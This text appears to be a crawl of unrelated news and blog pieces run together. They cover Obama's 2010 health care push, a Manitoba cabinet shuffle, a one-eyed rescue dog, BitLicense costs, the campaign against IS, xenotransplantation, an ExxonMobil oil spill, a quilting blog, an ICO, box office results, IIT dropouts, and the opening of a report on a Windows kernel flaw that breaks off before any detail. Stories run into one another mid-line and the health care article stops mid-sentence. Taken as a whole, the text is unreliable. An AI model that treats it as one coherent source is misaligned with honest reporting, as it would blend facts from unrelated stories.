That Mr. Obama has come this far — within a whisper of passing historic social legislation — is remarkable in itself. But the story of how he did it is not his alone. It is the story of how a struggling president partnered with a pair of experienced legislators — Ms. Pelosi and, to a lesser extent, Mr. Reid — to reach for a goal that Mr. Obama has often said had eluded his predecessors going back to Theodore Roosevelt.
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Their journey over the last two months, interviews with White House aides, lawmakers, outside advisers, lobbyists and political strategists show, involved tensions, resolve, political spadework — and a little bit of luck.
When Anthem, a California insurer, notified policyholders of an increase in premiums of up to 39 percent, the move played right into the hands of a White House that had spent months demonizing the insurance industry.
A cross-Capitol feud erupted when Ms. Pelosi demanded that Mr. Reid provide a letter with the signatures of 51 senators willing to pass a package of legislative changes under the complex parliamentary procedure known as reconciliation. (On Saturday, the leader announced that he had a “significant majority.”)
And Mr. Obama’s decision to hold a bipartisan health care summit meeting proved a strategic success. The move privately mystified some Democrats. But it created an important cooling off period and helped shift attention to Mr. Obama and away from Capitol Hill, freeing the speaker to work on convincing recalcitrant members of her caucus that it would be politically disastrous for them simply to walk away.
Mr. Obama did not need any prodding from Ms. Pelosi, his aides say. The Scott Brown election came on the eve of his first anniversary in office, and he told aides he was irritated that his presidency appeared to be stalled. He was eager to do what he had done so often in the presidential campaign: cast caution aside in favor of bold action.
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“We are this close to the summit of the mountain,” Mr. Obama told his close advisers in a meeting in late January, said one participant. “We need to try one more time.”
Responding to a Setback
The polls were still open in Massachusetts on Jan. 19 when Mr. Obama met in the Oval Office with David Plouffe, his top outside confidant and former campaign manager. Mr. Brown’s victory — he would take Senator Edward M. Kennedy’s old seat — was all but certain, and Mr. Obama’s 60-vote supermajority in the Senate had suddenly vanished.
Mr. Brown had made clear his objections to the health care legislation. “One thing is clear,” he proclaimed on election night, “voters do not want the trillion-dollar health care bill that is being forced on the American people.”
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At that moment, the president did not know whether, or how, to proceed. The House and Senate had passed different versions of the bill and could not come to terms. Republicans were unified in their resistance. He considered his options, including Mr. Emanuel’s “skinny bill.” Whatever the course, aides said, Mr. Obama was insistent that health care not be put into a “time capsule,” never to be opened again in his tenure.
Tom Daschle, a close outside adviser, said Mr. Obama believed that health care would be his legacy. “This is what his presidency is about,” he said.
On Jan. 21, Representative Barney Frank, a Massachusetts Democrat and a powerful committee chairman, headed to the White House for a banking industry announcement. He had been openly skeptical about the prospects for the health measure.
Mr. Obama pulled him aside. “He said, ‘I have to talk to you,’ ” the congressman recalled. “He was very passionate about it, and he convinced me that we could put some fixes in.”
Others were not so easily convinced. “You have to let my colleagues work through their five stages of grief,” Representative Robert E. Andrews of New Jersey, a Pelosi adviser, told a friend. Asked what stage the House was in several weeks later, Mr. Andrews responded, “Still in denial.”
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The speaker, though, was determined to go ahead. “We will go through the gate,” she said at a news conference on Jan. 28. “If the gate is closed, we will go over the fence. If the fence is too high, we will pole vault in. If that doesn’t work, we will parachute in. But we are going to get health care reform passed.”
If there was one thing Ms. Pelosi knew she could not do, though, it was force the House to pass the Senate bill. (House liberals objected to its lack of a government-backed insurance plan, conservatives thought it too permissive on abortion financing, and the entire caucus felt queasy about special deals like the so-called Cornhusker kickback that would have given Nebraska extra money to pay for Medicaid.)
But House action on their bill was exactly what Democratic senators wanted when Mr. Obama addressed them at a policy retreat on Feb. 3.
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The televised session was polite, with the talk centered on the economy; Mr. Obama, after bipartisan battering, had vowed to make “jobs, jobs, jobs” his new focus. But in an off-the-record panel discussion after the president left, Mr. Obama’s senior adviser, David Axelrod, got an earful over health care. Senator Al Franken, the freshman Democrat from Minnesota, led the charge.
“David, I’m doing a slow burn here — do you know what a slow burn is?” one participant recalled him saying. Mr. Franken demanded to know Mr. Obama’s plan, and then told Mr. Axelrod that the president needed to have the House pass the Senate bill.
“That’s fine,” Mr. Axelrod replied. “If you’ve got 218 votes in your pocket, we’ll do that.”
The session exposed the mistrust between the House and the Senate, tensions that Mr. Obama’s health care team worked mightily to smooth over. To the Senate Democrats in the room, it seemed as if Mr. Axelrod was brushing them off, and that Mr. Obama really had no plan.
The next day, the president invited the Democratic Congressional leaders to the White House. They had a blunt conversation, with Ms. Pelosi expressing dismay that Mr. Obama had yet to state publicly, in crystal clear terms, what he wanted to see in a health bill. The two had clashed in the past; once when Ms. Pelosi challenged the president, he snapped, “I’m not a stupid man,” said a Congressional aide, speaking on the condition of anonymity.
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But the sense of urgency after the Democrats’ debacle in Massachusetts seemed to change the chemistry between the president and the speaker. “The two of them became real partners,” said one person close to both.
That night, Mr. Obama offered hints of his strategy, surprising even some of his closest advisers with his candor. In a question-and-answer session at a Democratic National Committee fund-raiser, Mr. Obama said he wanted Republicans, Democrats and health care experts to bat around ideas together. “And then,” he said, “I think that we’ve got to go ahead and move toward a vote.”
In early February, the White House got news from California that the administration would seize on.
Anthem Blue Cross had alerted customers that some would see a rate increase of nearly 40 percent by March 1. At a senior staff meeting, Mr. Axelrod, who learned of it by e-mail from a friend in Chicago, raised it with the president.
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“I thought if we were in a trial,” Mr. Axelrod later told one associate, “I had just opened up my BlackBerry to Exhibit A.”
The president first mentioned the Anthem story in passing in a speech to the Democratic National Committee on Feb. 6. He repeated it again in a pre-Super Bowl interview with Katie Couric. By then, advisers knew they had finally latched onto a story line that might sell their plan: why people with insurance should care about the health care bill and its cost controls.
It also dovetailed with what Mr. Obama had been hearing from his unscientific sounding board: the 10 letters he reads every day from ordinary Americans, culled by junior aides in the White House mailroom. One letter, from an Ohio woman named Natoma Canfield, stood out.
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A Crucial Meeting
Mr. Obama’s idea for a health care meeting at the end of February flabbergasted Democrats on Capitol Hill. He felt that such an event could be an antidote to some of the cynicism about Washington expressed by voters. Ms. Pelosi did not oppose it, but she was not enthusiastic. In the Senate, some Democrats thought the idea was pointless; convinced they would never get Republican support, they figured that each passing day made it more difficult to tackle a health care bill.
Some White House allies say the session proved critical in putting health care back on the national agenda. “When the history of this is written, it will be looked at as both a turning point and a brilliant idea,” said Chip Kahn, who as president of the Federation of American Hospitals has been one of the administration’s main supporters.
The event enabled Mr. Obama to claim the high ground on bipartisanship; after the Brown victory, he needed to be seen as reaching out to the other side. He also wanted to force Republicans to put their ideas on the table, so that the public would see the debate as a |
community development
James Allum has been shuffled out of justice and is back as minister of education
Selinger rewarded loyalist backbencher Saran who delivered more than 100 delegates to the premier.
Peter Bjornson, who was minister of education, is out of cabinet. He said he will not be running in the next provincial election.
"Peter has been an excellent minister, good friend and strong voice for the people of Manitoba," said Selinger, in a statement.
On March 8, Selinger won a leadership contest by just 33 votes.In late June, Maria Williamson was shot in the face during as she sat in her car, at a red light in Mobile, Alabama.
"The bullet went through my nose, and damaged my right eye," she tells The Huffington Post. "Over the course of the next week I had two surgeries, one of them to remove my right eye."
Exactly two months later to the day, Williamson adopted a tiny puppy who had lost an eye of his own, after being attacked by a bigger dog.
"I immediately thought, 'He's so perfect! I know his struggles and I know what he is going through,'" Williamson says. "We both see life through one lens."
Animal Rescue Foundation
Bear was just a month old, and very badly injured, when he was brought to the Animal Rescue Foundation in August.
"Due to the trauma of being attacked, Bear's eye popped out of its socket," says ARF's Alison Rellinger.
Surgeons removed Bear's eye, and ARF posted photos of the little doggie -- and pleas to help cover his medical expenses -- to Facebook.
Thank social media: About a week after Bear arrived at ARF, Williamson's boyfriend saw the shelter's posts. He showed them to Williamson, thinking that the two might find some kinship. He was right.
"I adopted Bear the same day. I couldn't let him sit in the vet's office one more night. I knew he needed to be home, and loved on by his human," she says.
"We just wanted to get him in a safe and happy home with a family that could take care of him for the rest of his life. After such a rough start, we just wanted a home with lots of love," says Rellinger. "Somehow we end up finding the furry companion who just gets us."
Animal Rescue Foundation
In his new home, Bear is having a ball, naughtily chewing on whatever comes his way, and itching to go outside -- which he can't do quite yet, since his immune system is still too weak.
Williamson loves being able to give her little dog this much-needed second chance, while she, too, recovers.
"Like me, he is a survivor," she says. "We are not victims, we are survivors who get to share our story."
Get in touch at arin.greenwood@huffingtonpost.com if you have an animal story to share!In the aftermath of the BitLicense application deadline this week, a number of prominent bitcoin companies have ceased operations in New York.
Although the reasons behind startups’ reluctance to apply for a license are varied, cost has played a significant part.
Of those who did apply – and fronted the $5,000 non-refundable application fee, most have alluded to an arduous process and high costs.
But just how much did their expenditure amount to?
CoinDesk has spoken to various companies in the space to breakdown the cost of the BitLicense application process both in monetary and non-monetary terms.
‘Expensive and difficult’
“Applying for the BitLicense is an expensive and difficult process, as many have noted. Some other firms have chosen to abandon the New York market entirely, rather than comply. We do not fault them for doing so,” said George Frost, executive VP and chief legal officer at Bitstamp.
Frost estimated the application cost Bitstamp roughly $100,000, including time allocation, legal and compliance fees.
“Our UK parent company has contributed a lot of time, expertise and money in the BitLicense effort, but much of this investment will benefit the entire Bitstamp group,” said Frost.
Bitstamp, the world’s third largest exchange in terms of BTC/USD trading volume, proceeded with the application for various reasons. Firstly, because, if approved, it would allow the company to offer a fully compliant trading platform for New York residents. Secondly, Frost said he expects to be able to offer a broader range of financial tools to customers – including Automatic Clearing House (ACH) deposits, domestic wire transfers and debit card transactions.
The application efforts, he added, included establishing a new operating subsidiary in the US, developing a business plan, establishing appropriate financial controls, hiring a US compliance officer – Lisa Dawson, former senior VP and compliance officer at Citi Group – and spending months “analysing and agonising over” the BitLicence’s requirements and providing industry comments to the New York State Department of Financial Services (NYDFS).
He added:
“We drafted a detailed risk assessment of Bitstamp USA and the Bitstamp group overall, and more than 30 policies, training manuals and internal procedures guides that we believe are compliant with the New York regulatory regime … These included hundreds and hundreds of pages of plans covering every aspect of our intended operations. All of this internal scrutiny and drafting has made us a lot smarter company, albeit one with corporate tunnel syndrome.”
Although a costly and cumbersome process, Frost said he believed greater regulation for the ecosystem is inevitable.
“Like others, we regret the loss of economic freedom occasioned by the onset of regulation. [But] by participating, we are better positioned to help create an industry – and regulatory environment – that achieves widespread adoption and preserves as much individual autonomy as possible.”
Manning the effort
Unlike Bitstamp, which claims to employ up 50 people, bitcoin exchange MonetaGo is sizeably smaller.
Also unlike, Bitstamp, the New York-based company is a relative newcomer to the bitcoin scene, but by no means less eager to comply with the New York State’s regulatory framework.
“Given that we are a new startup company we have been extremely diligent with our expenditures. In terms of hard costs we’ve spent approximately $50,000 … by far the biggest costs have been the man-hours to date,” said Patrick Manasse, chief compliance officer.
Manasse estimates that the team spent approximately 1,200 hours compiling the documentation for the BitLicense application, but noted that an additional 2,000 man hours had already been invested in developing MonetaGo’s global compliance program.
Efforts were spent on providing compliance training to all of the officers and directors, working with lawyers and consultants in various regions and communicating with banks and other relevant authorities.
“Add to this programmers and developers putting in place systems and service providers, and you start to get a sense of the size and scope of the undertaking,” he said, noting: “If all the hours were added up, the total would easily be upwards of a quarter million US dollars.”
So, while putting the actual application together took MonetaGo’s team members the better part of the past 45 days – the grace period following the publication of the BitLicense in New York’s Register – the process, Manasse said, really began at the company’s inception.
Manasse said the ongoing costs, should MonetaGo’s submission be approved, are hard to estimate accurately. He believes they will depend on the approach taken by the NYDFS:
“The Department could easily make it completely unfeasible for startups to continue operating in the space, but that is not the sense that we have gotten from our interactions with them thus far. It is our hope that a measured approach will be taken.”
However, Manasse suggested that being a relatively new company could potentially work to MonetaGo’s an advantage in terms of cost.
“A compliant company such as ours which is newly launched and has a limited operating history probably doesn’t require the same amount of scrutiny as other players which have been around since the early days of bitcoin.”
Significant undertaking
A spokesperson for Coinbase confirmed that the San Francisco-based company had submitted its BitLicense application.
Although they declined to divulge specific details, the spokesperson noted the process was a “significant undertaking”, but one the company had no problem carrying out because it had sufficient internal resources.
Meanwhile, Jaron Lukasiewicz, CEO and founder of Coinsetter, noted his company had spent approximately $50,000 on BitLicense-related expenses over the past two years. “I think its bigger cost, though, has been in the uncertainty it created for investors looking to invest in our space – hopefully that will begin to reverse itself now.”
Bittrex, a cryptocurrency exchange, also applied for the license. Bittrex founder Bill Shihara told CoinDesk he estimated the process to have cost his company between $18,000 and $20,000, whilst employees spent approximately 80 hours compiling and reviewing the paperwork.
“I am sure larger companies incurred much higher costs than we did … we were lucky that we had a lot of the paperwork already available.”
Although he noted the BitLicense was a significant undertaking for companies, he said customers should welcome it:
“Ultimately, I think customers should be happy about the BitLicense. While it is burdensome for us, the core of the paperwork involved consumer protection. The BitLicense requires background checks on the principals who handle your funds; detailed information of how the funds are stored and credited to our users; proof that the company is profitable; as well as security and incident response plans.”
“If the BitLicense reviewers do their jobs right, passing the application process means the company holding your funds is a legitimate business that you should want to work with,” he concluded.
Legal perspective
Marco Santori, counsel at Pillsbury Winthrop Shaw Pittman LLP, described the application process as “consultative and iterative”.
“The NYDFS will not simply take your $5,000 and deny you without ceremony. They will certainly accept the application fee, but if the staff takes issues with some of the applicant’s responses, or find deficiencies, they will address them with the applicant. Their objective is to bring businesses into the BitLicense regime, not to block them out of it,” he added.
The NYDFS, Santori said, has 90 days to grant or deny a BitLicense application, but the Superintendent may extend that period for a reasonable amount of time sufficient to enable compliance with the BitLicense regime. “It is not clear whether that means compliance by NYDFS or the applicant. I expect that – certainly during the early stages – applications will take longer than 90 days to be approved.”
If an application does not satisfy all the criteria, the authorities may decide to grant a conditional license, which will entail periodic review. “This is an amorphous thing. The are no criteria set forth in the regulation for what kind of company might qualify for a conditional license or what conditions might be attached for that license.”
“Unilateral discretion in that regard,” Santori added, “is left to the Superintendent. Those seeking a conditional license should submit their application along with a cover letter explaining why they believe one should be granted, and what conditions they believe should attach. It will likely take a bit of advocacy.”
Further Reading: Buy Our Bitlicense Research Report
New York image via Shutterstock.Image copyright Reuters Image caption Iraqi forces are preparing to fight IS in Mosul
The war in Syria has not gone away, but the efforts to bring about a cessation of hostilities have succeeded in bringing about a partial lull in the fighting.
Russian bombing continues, and the US-led air campaign against so-called Islamic State (IS) also marches on.
While much of the world's attention has been on Syria there have been significant developments in Iraq; some key pointers to important new capabilities being deployed; and more indications that preparations are under way to extend the anti-IS campaign to Libya.
For all the drama, hyperbole and tension of the nominating process in the US presidential race, what is happening now in Syria, Iraq and Libya is of crucial significance. Events there are shaping the world with which the next occupant of the White House will have to contend.
In Iraq, the IS-held city of Mosul is the next great prize.
Eight to 12 Iraqi brigades are being prepared for the offensive. Nobody imagines this will be either fast or easy.
But as the Chairman of the US Joint Chiefs of Staff, General Joseph Dunford noted only a few days ago, "operations against Mosul have already started….we're isolating Mosul."
He was referring to a variety of local offensives - both in Syria and Iraq - to sever vital communications links between the IS strongholds of Raqqa and Mosul.
What is life like in the Islamic State stronghold of Raqqa, Syria?
Animated diary: Life in Raqqa under 'Islamic State'
Inside Mosul: What's life like under Islamic State?
A key part of this is the US and allied air campaign. But in the past ten days Syrian opposition forces have reclaimed Shaddadi, in the north-east, described by the Americans as "a critical node for IS training and logistics, as well as for its oil enterprise."
In a separate operation Iraqi forces have launched an offensive against IS supply lines around the city of Samarra, some 95km (60 miles) north of Baghdad.
Image copyright Reuters Image caption Ash Carter and General Joseph Dunford have briefed on their plans in Iraq
Much of the debate now surrounds the extent of likely US help with the Mosul offensive.
The Iraqi government is highly sensitive on this subject and US official statements are guarded. But it is clear that a significant US effort will be needed.
One idea is for US advisers to be deployed much closer to the action. But the most significant US role - apart from air power - may be to ensure that the Iraqi forces that are engaged have adequate logistics and supplies to enable them to sustain themselves at a high tempo of activity.
Of course there are other things the US could do. And briefings over the past few days have offered pointers to significant new capabilities that are being brought into play.
Cyber attacks
US Defence Secretary Ash Carter hinted strongly at the stepped-up role of cyber attacks against IS, especially in Syria.
This, he said, was being used "to interrupt, disrupt IS's command and control, to cause them to lose confidence in their networks, to overload their network so that they can't function."
Image copyright Getty Images Image caption Iraqi forces launched an offensive around the city of Samarra
General Dunford stressed the parallels between the physical and the cyber battlefield.
"We're trying to both physically and virtually isolate IS, limit their ability to conduct command and control, limit their ability to communicate with each other, and limit their ability to conduct operations locally and tactically."
Up to now Washington has largely taken the fight to IS from the air. But there are indications that special operations on the ground are also being stepped up.
Just a few days ago it was announced that US Special Forces had seized a key IS operative in Iraq.
This seems to be the first significant operation by a 200-strong team of Delta Force commandos who arrived in the country in recent weeks.
The US Defence Secretary set out an expansive role for this small force.
"It's a tool that we introduced as part of the accelerated operations to conduct raids of various kinds, seizing places and people, freeing hostages and prisoners of ISIL, and making it such that ISIL has to fear that anywhere, anytime, it may be struck."
Libya concerns
There have also been sporadic US air strikes against IS targets in Libya - most recently one launched in mid-February by US warplanes from a base in the UK, that struck an IS training camp outside Sabratha, some 50 miles west of Tripoli. But in Libya too there have been hints of much more going on beneath the surface.
Libya, given its lawlessness and its proximity to Europe, is fast becoming a major security concern for the US, the EU and Nato.
Control and crucifixions: Life in Libya under IS
IS-linked groups are becoming well-established and entrenched. Several countries have indicated their willingness to help with security problems in the country - not least Italy, which might lead any operation.
Image copyright AP Image caption US bombing of a suspected IS training camp in Libya killed at least 38 people
Up to now the essential condition for any western-backed mission (in which the US too would probably play a key supporting role) is to have agreement, by the various Libyan factions, on a national unity government.
Such a deal has proved elusive, but some military operations are already under way. In late-February the French newspaper Le Monde revealed what it said was a "secret war" in Libya being waged by French special forces.
The reports prompted considerable anger from the French government and a variety of linked stories suggesting that US and British operatives might also be on the ground.
Back in January the Italian authorities agreed to allow the Americans to operate armed drones from the Sigonella air base in Sicily with officials at the time indicating that these missions would be to protect US forces on the ground that might be under threat.
Whatever may be happening on the ground in Libya - and governments rarely acknowledge operations by special forces - other steps are being taken to bolster regional security.
Britain, for example, has despatched a small military training team to Tunisia to help its forces secure its border with Libya.
The Tunisian government is also engaged in talks with the German authorities about the possible training of Libyan security forces in Tunisia.
Stability elusive
So what might be termed "the two and a half front war" is well under way. Given time the US seems confident of a positive military outcome.
But you'll notice I don't use the word "victory". That would imply countries like Syria, Libya and Iraq returning to stability with inclusive governance and much-reduced corruption; in other words the removal of some of the very forces that helped to fuel the Islamist surge.
Looking more broadly at the region it is hard to see many positive developments that would indicate a return to stability.
If anything, the relatively settled borders of the post-colonial era are now being called into question like never before.
It doesn't seem that long ago that President Obama seemed to have relegated the Middle East as a US interest, giving priority to a pivot towards Asia.
But the Middle East isn't going away.
In many ways its problems are on the move. And it is going to dominate US foreign policy during the early years of Mr Obama's successor - and probably beyond.Humans engage in a wide variety of collective behaviors, ranging from simple customs like wearing a heavy coat in winter to more complex group actions, as when an audience gives applause at the close of a musical performance. Some of these collective behaviors are cases of imitation, of doing what others do. In other cases, the behavior is driven by individuals’ expectations about what certain people both do and believe others should do. When confronting real-world cases where groups act in ways that are problematic and harmful, it matters a great deal which kind of mechanism underlies the behavior. This is especially the case for those who seek to change the groups’ behavior.
In Norms in the Wild: How to Diagnose, Measure, and Change Social Norms (Oxford University Press, 2017), Cristina Bicchieri (University of Pennsylvania) lays out a nuanced theory of group behavior, establishes means for measuring individuals’ sensitivity to social norms, and explores the ways in which interventions can be designed to change social norms. The book grows out of her collaboration with UNICEF and other NGO’s devoted to initiating social change in the developing world. The details of Bicchieri’s theory of social norms are explored in her Coursera courses on “Social Norms, Social Change I” and “Social Norms, Social Change II.”According to the US Department of Health and Human Services more and more people are waiting for a lifesaving organ transplant each year. At this time 122,407 people need a new organ for survival. The statistics look pretty grim because on average 22 people die each day while waiting for a transplant and every 10 minutes a new person is added to the national transplant waiting list.
Scientists are looking to find an alternative tissue source and it seems that they are close to finding one. The research is called xenotransplantation research and it is making good progress. Xenografts (tissue or organs that are transplanted into or grafted from an organism of one species into an organism of another species) are not new because a very common example of this is the use of pig heart valves in humans. But the new research takes it a step further and tries to get more pig organs available for humans.
A peer reviewed paper has just recently been published in the Journal of the International Xenotransplantation Association where the researchers show that they were able to keep a pig kidney alive in a baboon for 136 days which is a record for a life-supporting organ graft survival to date. The researchers also claim that they were able to keep a pig heart alive in a baboon for 945 days, but that research hasn’t been published yet.
The researchers have reported that they were able to achieve this by humanizing the pigs with adding as many as five human genes to them. This is being done to diminish and even stop organ rejection in the organism that is accepting the new organ. Organ rejection is one of the biggest problems with animal organ transplants because it sets of a very strong immune response and the scientists hope to prevent such a response with the use of genetically modified animals.
Bruno Reichart, a professor at the University of Munich, called the survival of these pig hearts “a major breakthrough.” He said:ExxonMobil clean-up crews yet to reach pipeline in Montana owing to flooding as oil spreads further than predicted
Oil from a ruptured ExxonMobil pipeline on the famed Yellowstone spread at least 15 miles beyond the initial leak – further than the oil company's original estimates.
Clean-up crews have yet to reach the break in the 12-inch pipeline because of historic flooding on the river, which is projected to peak on Tuesday.
Montana's governor, Brian Schweitzer, who was due to visit areas near the spill site on Tuesday, has called for a safety inspection of all pipelines crossing the state and a review of the company's emergency response plans.
In its latest update, ExxonMobil said it was expanding its clean-up effort, deploying 280 people to help contain the damage. It was also conducting aerial searches for oil as far as 140 miles downstream.
But the firm said on its website that flooding, and swift river currents, meant it was still unsafe to send crews out in boats or to walk the banks in search of oil. It's not clear whether the break was caused by heavy rains and extreme flooding.
"The river is well over its banks, very turbulent," Gary Pruessing, head of ExxonMobil's pipeline company, told a news conference on Monday. "I've never seen the river like this in my life."
More than 40,000 US gallons (151,416 litres) of oil gushed into the river before the pipeline was shut down late on Friday night.
The break has further increased concern about pipeline safety after a fatal explosion of a natural gas pipeline in California, and a serious spill on an oil pipeline in Michigan in July last year.
The US department of transportation, which oversees pipeline safety, wrote to ExxonMobil in July last year, warning the company to take better precautions against corrosion and to update its emergency plan.
The letter warned the oil company it could be liable for up to $1m if it did not take steps to meet those safety standards. ExxonMobil received a second warning last February. The company said in March that it had addressed those concerns.Two new finishes to share! I think these are my favorite type of posts since they seem to rarely happen. I do hope that changes. Anyhoo – First up is the Gemology pillow! This is a paper pieced pattern available on Craftsy. It comes in two block sizes and I did the smaller block size four times using Boundless solids and Cotton + Steel fabrics. I found this block a lot of fun to paper piece and I think it is very beginner friendly. It works well with solids and print fabrics.
I quilted this pillow on my domestic Pfaff Creative 2.0 and did a zipper enclosure. Also enjoying my new labels from Jennifer’s Jewels!
My second pillow finish is for a Tampa Modern Quilt Guild Challenge. We visited the USF Botanical Gardens in April and our challenge was to take a photo at the gardens and use that as inspiration for an original small quilt or pillow design. My photo inspiration was this:
My original plan was to create the bamboo and quilt the carvings into the applique bamboo pieces. I got to the part where I was quilting the bamboo outlines and carvings and it didn’t look good AT ALL so I ripped it out and left the pillow as is. I really liked how it came out! I machine appliqued the pieces using Aurifil monofiliment thread and a blind hem stitch that I learned from Karen Kay Buckley. The quilting is with Aurifil 50 wt. thread – a really light gray on my Pfaff Powerquilter.
I also finished this with a zipper closure and used up the rest of my Timeless Treasures ‘How to Iron a Shirt’ fabric.
Enjoying my pillow collection! All of the ugly pillows in my house are on notice.First Ever Invoice Financing Platform, Hive, Raises Millions in ICO
The blockchain-based project, Hive, conducted their first token sale in which they raised over $8.95 million dollars worth of Bitcoin to fund the platform.
Also read Ethereum ‘Difficulty Bomb’ May Not Happen for Another Year or Two
Hive ICO Raises Millions
Hive is a blockchain-based project that is intended to be a financing alternative for small and medium enterprises (SMEs) via invoicing.
Today, they announced the successful completion of their token sale, raising approximately USD $8.95 million (BTC 2087) from 2234 global supporters.
The goal is to provide liquidity to SMEs through an alternative route, as the project’s developers believe that the current market environment isn’t fully taking advantage of the $3 trillion invoice finance industry.
To Hive, there seems to be a lot of room for improvement for invoice financing as it relates to SMEs — which is significant considering 99% of European businesses are categorized as such.
Jure Soklic, co-founder and CEO of Hive, believes this sentiment is shared by the businesses themselves and the success of their ICO proves just that.
“The success of our token sale is testament to market recognition of the need to reshape the invoice finance industry and ease the burdens faced by SMEs worldwide by bridging the liquidity gap, while providing attractive investment opportunities for invoice buyers.”
Roadmap and Project Details
The Hive Project is primarily an attempt to make it easier for SME’s to access liquidity.
Theoretically, Hive provides new liquidity to SMEs, enabling platform participants to purchase micro invoices from trusted companies, turning invoices into tradeable assets.
Like most other blockchain projects, it also intends to automate a lot of processes that were once manually dealt with, such as credit scoring assessments and auditing.
Additionally, it will also give liquidity providers real-time actionable data including credit-worthiness.
Hive also gives every issued invoice a unique fingerprint, providing invoice buyers with assurance that the invoice cannot be sold twice.
The project has been in concept development and testing since Q3 of 2016 and the developers plan to have the first prototype ready for release later this year or in early 2018.
Furthermore, the project should actually begin the financing of SMEs in 2018 as well — indeed, most other goals on the roadmap are set between 2018 and 2019.
BTC 1,500 of the funds raised will be devoted solely to the development, marketing and implementation of the platform, and the rest will be set aside for the liquidity pool (HVNX).
The Hive Project, recently awarded first place as the ‘Best ICO’ at CoinAgenda Europe, is in discussions to list HVN on several exchanges spanning the EU, the US and Asia.
What do you think of the Hive platform and their ICO? Let us know in the comments below.
Images Via HiveEven in its second week, “Transformers: Age of Extinction” was way too much for Melissa McCarthy’s comedy “Tammy” and two other wide openers at a feeble July 4 weekend box office.
Michael Bay‘s rampaging toy-bots became the first summer movie to hold onto the No. 1 spot at the box office, bringing in an estimated $53 million over the five days. “Tammy” took in a lackluster $32.9 million during the same period.
The overall holiday weekend was a major dud, down roughly 45 percent from last year when “Despicable Me 2” led the way with $143 million over the five days. With Independence Day falling on a Friday, fireworks stole potential moviegoers’ attention. And the lack of a tentpole movie opening hurt, too. The winning three-day total of $36.4 million for “Age of Extinction” was the lowest on a July 4 weekend since 1998, when Bay’s “Armageddon” copped the top spot with $36 million.
The weekend’s other wide openers — the horror movie “Deliver Us From Evil” and the low-budget family film “Earth to Echo,” wound up in third and sixth place, with $15 million and $13.5 million over the five days respectively. Holdovers “22 Jump Street” and “How to Train Your Dragon 2” were fourth and fifth.
Also read: Michael Bay Fires Back at ‘Transformers 4’ Haters: 5 Directors Who Called Out Critics Who Trashed Their Movie
From the start, the weekend didn’t feel like a fair fight and it wasn’t. “Age of Extinction,” which stars Mark Wahlberg and is one of only three Paramount releases this summer, cost well over $300 million to make and market and is a global blockbuster. It’s taken in nearly $175 million domestically and, with another $95.8 million overseas this weekend, it has made more than $400 million internationally in just 12 days. “Age of Extinction” held the No. 1 position in all 37 foreign markets in which it played.
The R-rated road trip comedy “Tammy,” which was produced by the comedienne and her husband Ben Falcone, cost around $20 million to make. The budget makes the soft $21.1 million three-day total, way under her recent hits “Identity Thief” ($34 million) and “The Heat” ($39 million), easier to swallow for distributor Warner Bros. But it’s still a disappointment. The studio had hoped “Tammy,” which marked Falcone’s directing debut and co-starred Susan Sarandon, would top $40 million for the long weekend.
Critics ripped the film — it’s at 26 percent on Rotten Tomatoes — and moviegoers weren’t much more impressed, giving it a weak “C+” CinemaScore grade.
Also read: ‘Tammy’ Reviews: Melissa McCarthy Swings for Another Hilarious Comedy – But Does She Miss?
The total for “Earth to Echo,” which brought in $8.2 million from Friday-Sunday, was in line with its modest expectations. The found-footage movie from Panay Films about kids finding a lost alien was acquired last year by Relativity for $13 million from Disney.
Its CinemaScore was an “A-,” offering hope for some long-term playability in a summer short on family fare. Dave Green made his directorial debut on “Earth to Echo,” which stars Teo Halm, Brian Bradley, Reese Hartwig and Ella Linnea Wahlestedt.
The fact that Sony Screen Gems’ “Deliver Us From Evil” was the summer’s first horror film didn’t make much difference in what’s been a tough year for the genre. Last summer, “The Conjuring” and “The Purge” were counter-programming hits, but there hasn’t even been a horror movie released wide since “Oculus” in April.
Also read: ‘Transformers’ China Box Office Outstrips U.S. as it Tops $400 Million Internationally
The $30 million tale of a New York cop (Eric Bana) who teams with a renegade priest (Edgar Ramirez) to fight demonic possessions drew the right crowd — split evenly on both male-female and over-under 25 years of age — it just wasn’t big enough.
The Dinesh d’Souza documentary “America,” a followup to the 2012 breakout hit “2016: Obama’s America,” finished just out of the top ten with $2.7 million from Friday-Sunday and roughly $4 million over the five days. Its biggest day was Independence Day, when it took more than $1 million. It was playing on 1,105 theaters.
“America,” which was co-directed by John Sullivan and produced by Gerald R. Molen (“Schindler’s List,” “Jurassic Park”), received an “A+” CinemaScore from first-night moviegoers.Over 4,400 students dropped out of IITs and NITs in the last three years due to various reasons including "academic stress", the government said today and assured that corrective actions have been initiated.As many as 2,060 students dropped out from various Indian Institutes of Technology (IITs) from 2012-13 to 2014-15, Human Resource Development Minister Smriti Irani informed the Lok Sabha during Question Hour.During this three-year period, 2,352 students dropped out from the National Institutes of Technology (NITs)."The reasons for dropouts may be attributed to shifting to other colleges/institutions, personal reasons, medical reasons, getting jobs during PG courses, inability to cope with academic stress etc," Ms Irani said in a written reply.In 2014-15, IITs witnessed 757 dropouts which was higher than 697 dropouts (2013-14) and 606 (2012-13). During this period, IIT Roorkee saw the highest number of dropouts at 228, followed by IIT Kharagpur (209) and IIT Delhi (169).Interestingly, there were no dropouts at IITs in Mandi, Jodhpur, Kanpur, Madras and Ropar during 2014-15 period.There are 16 IITs and 30 NITs in the country.Of the NITs, there were 717 dropouts in 2014-15, lower than 785 seen in the year-ago period. In 2012-13, the dropout numbers stood at 850.Ms Irani said there is a mechanism for helping students who are under stress. The government is committed to address issues related to academic stress, she added. Listing out various initiatives that are in place to minimise dropouts at IITs, Ms Irani said there is a guidance and counseling unit, headed by a faculty member. It works closely along with a number of faculty counselors and advisers to "identify students facing emotional difficulties and guide them to professional counselors for help".A design flaw within the Windows kernel could be exploited by attackers to evade antivirus and stop them from recognizing malware.
A design flaw within the Windows kernel is the root cause for antivirus stopping from recognizing malware, and the bad news is that Microsoft won’t fix it because the tech giant doesn’t consider it as a security issue.
The vulnerability was discovered a few days ago by the security researcher Omri Misgav from enSilo, it affects the system call PsSetLoadImageNotifyRoutine that is still active in the latest builds of Microsoft OSs.
“During research into the Windows kernel, we came across an interesting issue with PsSetLoadImageNotifyRoutine which as its name implies, notifies of module loading.” Misgav wrote in a blog post.
PsSetLoadImageNotifyRoutine is used also by antivirus to check the presence of malware in memory, but the issue could be tricked to deceive the defense solutions.
“The thing is, after registering a notification routine for loaded PE images with the kernel, the callback may receive invalid image names. After digging into the matter, what started as a seemingly random issue proved to originate from a coding error in the Windows kernel itself.” continues the analysis.
The mechanism notifies registered drivers when a PE image file has been loaded into virtual memory (kernel\user space).
The notification routine could be invoked in the following cases:
